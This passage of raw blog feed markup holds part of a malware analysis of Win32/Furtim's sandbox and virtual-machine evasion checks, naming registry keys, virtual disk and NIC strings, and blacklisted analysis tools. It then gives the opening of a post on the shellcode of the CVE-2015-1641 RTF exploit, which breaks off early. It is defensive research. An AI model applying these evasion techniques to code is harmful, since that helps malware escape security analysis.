&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSk0HHwAL6j_LYghzxvEZd9Yvxu6ULbr-_cYhfi43GiN1Dmi8TZlBUfycRNyI4qUS0ZLwb7VOZOOEbnY__jnnrwoXB6TW_Ct1DViFYGpehyphenhyphenxpM4-X_UhyphenhyphenDxflLehW1c7amPlslh0CeF4Q/s1600/Furtim_10.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSk0HHwAL6j_LYghzxvEZd9Yvxu6ULbr-_cYhfi43GiN1Dmi8TZlBUfycRNyI4qUS0ZLwb7VOZOOEbnY__jnnrwoXB6TW_Ct1DViFYGpehyphenhyphenxpM4-X_UhyphenhyphenDxflLehW1c7amPlslh0CeF4Q/s400/Furtim_10.png&quot; width=&quot;380&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;Mismatch in the number of CPU cores reported&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
This is yet another clever check performed by the malware. It calls NtQuerySystemInformation to populate the buffer with SYSTEM_BASIC_INFORMATION. At the offset into the structure, it will access the SYSTEM_BASIC_INFORMATION.NumberOfProcessors to see if the Number of Processors reported is 1 . It the check is successful , it matches the brand string extracted using CPUID instruction with the known CPU brand strings to validate the number of CPU cores . If this check if successful , the process will prematurely terminate .&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvrXBj2wHGRPFgMEUNT7FigvID1BDJpEK9z7wIdjrDa1WAoqfdBhMNuR9UPKh-AxG87SOyAB97S8CErA5ZieOyrHYCGdP53d-ZHXXubsE5T1R6aW6n5aaM5smq0UDqea53iUiAQoBLcJA/s1600/Furtim_11.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;363&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvrXBj2wHGRPFgMEUNT7FigvID1BDJpEK9z7wIdjrDa1WAoqfdBhMNuR9UPKh-AxG87SOyAB97S8CErA5ZieOyrHYCGdP53d-ZHXXubsE5T1R6aW6n5aaM5smq0UDqea53iUiAQoBLcJA/s400/Furtim_11.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dynamic anlaysis apparently reveals this fact :&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMD_riRySB9UhzHyhyOkZXp8vMnTpFTo3hyphenhyphenL7n6esC_YoAudwOo8bPCsmSogl7n5ZUdGeQoUC-kVd0iC2xO8-8gmdpsMjd8z7cIKPSipRBHKTwfz7w4QW5-6-VDM1WX0ei1vyBIjgeljY/s1600/Furtim_12.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;85&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMD_riRySB9UhzHyhyOkZXp8vMnTpFTo3hyphenhyphenL7n6esC_YoAudwOo8bPCsmSogl7n5ZUdGeQoUC-kVd0iC2xO8-8gmdpsMjd8z7cIKPSipRBHKTwfz7w4QW5-6-VDM1WX0ei1vyBIjgeljY/s400/Furtim_12.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;Blacklist of processes related to known sandboxes / monitoring tools / Virtualization environment / Honeypots&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
Here is one more check for running processes to see if monitoring / debuggging / static analysis tools , sandbox processes , traffic capture tools, Honeypot processes are found in the infected system.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-Y5aorY_Vp3qZHAwD0RsrQrC9O9j-30pRF0vk8kyEyOTinRrUAvsFpT8efmQmDXIJUDamd8nGhTwY-ztKHq_GpZ-leZdJmJuFXpD_ha-GLlWzvhbGM6Zij6-Ylk4_YFOXbaQ6L8p5x0A/s1600/Furtim_13.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-Y5aorY_Vp3qZHAwD0RsrQrC9O9j-30pRF0vk8kyEyOTinRrUAvsFpT8efmQmDXIJUDamd8nGhTwY-ztKHq_GpZ-leZdJmJuFXpD_ha-GLlWzvhbGM6Zij6-Ylk4_YFOXbaQ6L8p5x0A/s400/Furtim_13.png&quot; width=&quot;350&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;&lt;b&gt;Kernel drivers associated with AV products / Monitoring tools / Virtualization&amp;nbsp;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Another extensive blacklist of loaded kernel drivers. It calls NtQuerySystemInformation with SYSTEM_MODULE_INFORMATION to get the list of loaded kernel drivers and checks is performed against the below list:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFx6_dpoUSFvlG1-827-6vYThIZ49WsT181ot8Og5ANM5Zm1axNPtl3RZO62neBsIjHxS5k7QXYm2oRnTrIXcu_RPjrziv6SEZGL_kl9YH0VhLpCPU84cB4HRULoFyYx_yeJKUvT5WkQ8/s1600/Furtim_14.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFx6_dpoUSFvlG1-827-6vYThIZ49WsT181ot8Og5ANM5Zm1axNPtl3RZO62neBsIjHxS5k7QXYm2oRnTrIXcu_RPjrziv6SEZGL_kl9YH0VhLpCPU84cB4HRULoFyYx_yeJKUvT5WkQ8/s400/Furtim_14.png&quot; width=&quot;385&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;Virtul NIC cards&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Following virtual NIC cards are checked as well . It any of these virtual NICs are found , it will terminate the execution.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN6MGEAG_Bd6OzJbpiBlUVt5pzSwMx9eGCPM70Ps4-9XqXsjaVVlkBrvuTkoDJZTNAmFWPktaix39Gh-RCAc3r_wkhcQTTgPWtChC8rYWDk0QpLFwwtmmDgdc8TOPGnpwkBBcxtQL47X8/s1600/Furtim_15.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;347&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN6MGEAG_Bd6OzJbpiBlUVt5pzSwMx9eGCPM70Ps4-9XqXsjaVVlkBrvuTkoDJZTNAmFWPktaix39Gh-RCAc3r_wkhcQTTgPWtChC8rYWDk0QpLFwwtmmDgdc8TOPGnpwkBBcxtQL47X8/s400/Furtim_15.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Before this code gets executed , it also checks for system with the NIC card named &quot;Realtek RTL8139 Family PCI Fast Ethernet NIC&quot; , username &quot;Antony&quot; or Antonie&quot; and existance of C:\\Downloads directory. This doesn&#39;t sound like a sandbox specific configuration . Perhaps it doesn&#39;t want to run on a system owned by &quot;Antony&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfQp_CF_f4rX_n3W8jwe-H04CMhokKvaQ7xaDEVLo3aKA_Rovwq4w0HM0KmSWkfMTlodGpCZfOKLx_LK31crhGjkXABKdghPy3qYEmKyQJJZD2VRGtb4Z_J4uekbgVON-cZfOJVxArmDY/s1600/Furtim_16.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfQp_CF_f4rX_n3W8jwe-H04CMhokKvaQ7xaDEVLo3aKA_Rovwq4w0HM0KmSWkfMTlodGpCZfOKLx_LK31crhGjkXABKdghPy3qYEmKyQJJZD2VRGtb4Z_J4uekbgVON-cZfOJVxArmDY/s400/Furtim_16.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;Hypervisor registry keys&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
As if these aren&#39;t enough, it also has the checks for the Hypervisor specific known registry keys. Below is the code that checks for it .&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7DSADkN2FEeXQTCnZbh2oJkqPUo1KLdjP7cj6VQ_RYEdQFo2XSfyL1ECUgi37wec-eahl7NuBBZJ72SFb-Ee_soJ8uAQjlWdiyBMhh2Xm8UboU8N8TWyb-yxK77oKxszvSG-ggPXC44Q/s1600/Furtim_17.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;161&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7DSADkN2FEeXQTCnZbh2oJkqPUo1KLdjP7cj6VQ_RYEdQFo2XSfyL1ECUgi37wec-eahl7NuBBZJ72SFb-Ee_soJ8uAQjlWdiyBMhh2Xm8UboU8N8TWyb-yxK77oKxszvSG-ggPXC44Q/s400/Furtim_17.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next to this , it accesses the registry key:\\Registry\\Machine\\HARDWARE\\DESCRIPTION\\System\ and verifies if it has following values :&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;SystemBiosVersion has following data&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;BOSCH - 1&lt;/li&gt;
&lt;li&gt;VBOX - 1&lt;/li&gt;
&lt;li&gt;PRLS - 1&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;VideoBiosVersion has following data&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Virtualbox&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;&lt;b&gt;DLLs associated with analysis tools and sandboxes&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Below list of DLLs are usually loaded by the tools used to analyse the malware samples (SysAnalyzer etc .) . Some of these are loaded by known sandboxes ( Sandboxie , Sunbelt , Buster)&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic1UsVFqLp7QRI-oSL4rq2I7XW3MARtqAG3s5WrUsTsmbMgQPmxLKZhGR8lEn8QwIEPtL3N3QRZAbp06nd5nWBLJvS24UoMPkN1QNYKGTo5_9j1DYgDLhIBpqbw8ZkkESY33H6KBvwv5o/s1600/Furtim_18.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;188&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic1UsVFqLp7QRI-oSL4rq2I7XW3MARtqAG3s5WrUsTsmbMgQPmxLKZhGR8lEn8QwIEPtL3N3QRZAbp06nd5nWBLJvS24UoMPkN1QNYKGTo5_9j1DYgDLhIBpqbw8ZkkESY33H6KBvwv5o/s400/Furtim_18.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;&lt;b&gt;Presence of &amp;nbsp;&quot;Vmware Tools&quot; directory under C:\&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Calls GetDriveTypeW to check if the C:\ is present on the system and checks for the existance of following directories:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;C:\\Program Files\\VMware\\VMware Tools&lt;/li&gt;
&lt;li&gt;C:\\Program Files (x86)\\VMware\\VMware Tool ( 64 bit systems)&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg30Wtd0C_BYF7yQ825X6ne0DM0bs3T3LWUYfQ1Z0RgSCu2yIxCxf0uLbLZ8Zsi9wwSWa1R3AR0c1q4yaK6rScV3JSZl-LjQKoVGfI_NUPJggEggwQkHiv2cXhV6TDAheOsE7fUDhPN1Y/s1600/Furtim_19.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg30Wtd0C_BYF7yQ825X6ne0DM0bs3T3LWUYfQ1Z0RgSCu2yIxCxf0uLbLZ8Zsi9wwSWa1R3AR0c1q4yaK6rScV3JSZl-LjQKoVGfI_NUPJggEggwQkHiv2cXhV6TDAheOsE7fUDhPN1Y/s400/Furtim_19.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;&lt;b&gt;Presence of Virtual HD&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Below two registry keys are accessed and the value extracted is checked against the known Virtual HDs . A successful match with result into termination of process.&lt;br /&gt;
&lt;br /&gt;
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Enum\\IDE&lt;br /&gt;
\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Enum\\SCSI&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;QEMU_&lt;/li&gt;
&lt;li&gt;VMware&lt;/li&gt;
&lt;li&gt;Ven_Red_Hat&amp;amp;Prod_VirtIO&lt;/li&gt;
&lt;li&gt;DiskVBOX&lt;/li&gt;
&lt;li&gt;DiskVirtual&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnz5o1gOl6IcingLZB6PmCz9cBvmQOmZUgAZLjhzNvkdhEOn8oAo6cRKD3x3rGEoeLhdWEwUQfMo6lKAhkBSNfKRavh53z15Sq-z1-phVggAAyTwXitkt7tgoZmQxMET7HShmFIvcVoGM/s1600/Furtim_20.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;381&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnz5o1gOl6IcingLZB6PmCz9cBvmQOmZUgAZLjhzNvkdhEOn8oAo6cRKD3x3rGEoeLhdWEwUQfMo6lKAhkBSNfKRavh53z15Sq-z1-phVggAAyTwXitkt7tgoZmQxMET7HShmFIvcVoGM/s400/Furtim_20.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;Presence of BioMetrics / Fingerprint software by ZkTeco&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
It is hard to believe that any malware would check for this . But it was interesting to know that it checks if &lt;a href=&quot;http://www.zkteco.com/#i-banner&quot; target=&quot;_blank&quot;&gt;ZkTeco&lt;/a&gt; software is installed on the system . Googling for this , apparently it is a provider of Biometrics / Fingerprint sensors . I can certainly say at this point that this malware has came out to be too restrictive. These nature of softwares wouldn&#39;t run on any automated analysis systems. Along with this, it also has the checks if the Path Names contains &quot;Oracle&quot; . Not sure if the author really intended to check for sandbox.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNeZtt_zpmK7kkXsr948d0iqVe5HpJQCl92DSLRtCg6s6pU5blxnU2FJE_J3XLDd1CeVYZQtrTT2-n7Sz2wN-Lv_dAn7L8oxZ6Iu2ICl6VvN3pnMqg0PbAnDQynrUe2CpAXzJJyk-SL2U/s1600/Furtim_21.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;308&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNeZtt_zpmK7kkXsr948d0iqVe5HpJQCl92DSLRtCg6s6pU5blxnU2FJE_J3XLDd1CeVYZQtrTT2-n7Sz2wN-Lv_dAn7L8oxZ6Iu2ICl6VvN3pnMqg0PbAnDQynrUe2CpAXzJJyk-SL2U/s400/Furtim_21.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;&lt;b&gt;Registry check for installed traffic analyzers / analysis tools / virtual environment&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Yet another list of software installations to check for in the registry.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju88l9-CeSajq1enR7YncjyS_E6SP1n7KzA8x_JPOSeGLSat78ObzNHvwzC_5DMqQLsAsw2W99QjRkZ6Ne77AdYXYnEic-AbRs_fYfbHRjZNIX8CKvJR2GaS1EbDk8BTuG1JHIuSwp96k/s1600/Furtim_22.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;66&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju88l9-CeSajq1enR7YncjyS_E6SP1n7KzA8x_JPOSeGLSat78ObzNHvwzC_5DMqQLsAsw2W99QjRkZ6Ne77AdYXYnEic-AbRs_fYfbHRjZNIX8CKvJR2GaS1EbDk8BTuG1JHIuSwp96k/s400/Furtim_22.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;&lt;b&gt;Window class names / Window Title Names&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Eventually , it also runs a check for the known window class and window title names used by sysinternals monitoring tools and sandboxes . Below is the exhaustive blacklist for that as well .&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg64hAyxzq7fjul4UdjJZ-riynth_DP_KazbJlmO8fInu9HUHNuGDSoJddkKmWW31VuAaBwqG9IajkcuUwSdC4kBLWA4PIZAwBgwZzxb93v9eOdGzdbmYnrC2RNPtpdEu0mVVSsVHiES9U/s1600/Furtim_23.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;315&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg64hAyxzq7fjul4UdjJZ-riynth_DP_KazbJlmO8fInu9HUHNuGDSoJddkKmWW31VuAaBwqG9IajkcuUwSdC4kBLWA4PIZAwBgwZzxb93v9eOdGzdbmYnrC2RNPtpdEu0mVVSsVHiES9U/s400/Furtim_23.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malwares have become extremely evasive in nature to avoid running in the automated analysis systems. Authors employ variety of techniques to make static analysis time consuming and complex for the researchers as well. However , none of the techniques used in this malware is new or is something which we haven&#39;t seen before. Its just that its a comprehensive list of almost all the evasions that we would have probably came across in other malwares in the past.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2016/07/win32furtim-malware-with-galore-of.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik38TdPSPHHkfab9DjBme0yepjOuKjNv_FVZSryGbjpX8hp6U3LKzKLOPvuJ2LUuAkiFFk9g3K313emKEsVUxI5bS7CSLggTP_k3v0mVPRrpiWP3joVUnOtUR2an2vsQFbrTGJg8xdFdw/s72-c/Furtim_1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-9161753841885880075</guid><pubDate>Thu, 03 Sep 2015 06:42:00 +0000</pubDate><atom:updated>2016-01-21T10:47:22.718+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><category domain="http://www.blogger.com/atom/ns#">Vulnerability and Exploit Research</category><title>Microsoft Office RTF Exploit : CVE 2015-1641  Dissecting the Shellcode</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
Few days back , I came across interesting RTF exploit floating around, eventually concluded as CVE -2015-1641 vulnerability. I was particularly interested in knowing about the DEP / ASLR bypass mechanisms and shellcode used in this exploit . I decided to dig little deeper into this exploit to figure out how it overcomes the windows mitigation mechanisms.&lt;br /&gt;
&lt;br /&gt;
First step for me to start with analysing any MS Office exploit is to run it through my own developed static analysis framework for Office exploits , which can precisely extract the embedded streams, locate the shellcode and can do bunch of other analysis stuff. Notice that 4 embedded binary objects has been extracted out of the RTF exploit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyuUZRoMP6QkQeThshksgUFNcf9DSi5aQQGf7iufRLskdl5e82zqNElCfFfvGDQuW04OlhSOEJw1NHuZaYBEJCSNQGJBGMCYginZ9of9Z_YwFrCXq4Y5JIehaGgrjKVN6Sitrijdz1LrQ/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;25&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyuUZRoMP6QkQeThshksgUFNcf9DSi5aQQGf7iufRLskdl5e82zqNElCfFfvGDQuW04OlhSOEJw1NHuZaYBEJCSNQGJBGMCYginZ9of9Z_YwFrCXq4Y5JIehaGgrjKVN6Sitrijdz1LrQ/s400/1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at the log file , we&#39;ll observe few stuff which is worth further investigation.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHVZb4f8zOyfAvmDEHc6CrjRSQTBGLiUf11w6tzIV4rPlD3hjGPyGMtFouuVylS9OdkU_TV6uxmckWyS9Pxrc0YGR-ANrevXXF9K8gut29MIW-RYv2XgYLW7R4wFSiV9r1GtX6I1VMGTk/s1600/analysis2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;261&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHVZb4f8zOyfAvmDEHc6CrjRSQTBGLiUf11w6tzIV4rPlD3hjGPyGMtFouuVylS9OdkU_TV6uxmckWyS9Pxrc0YGR-ANrevXXF9K8gut29MIW-RYv2XgYLW7R4wFSiV9r1GtX6I1VMGTk/s400/analysis2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
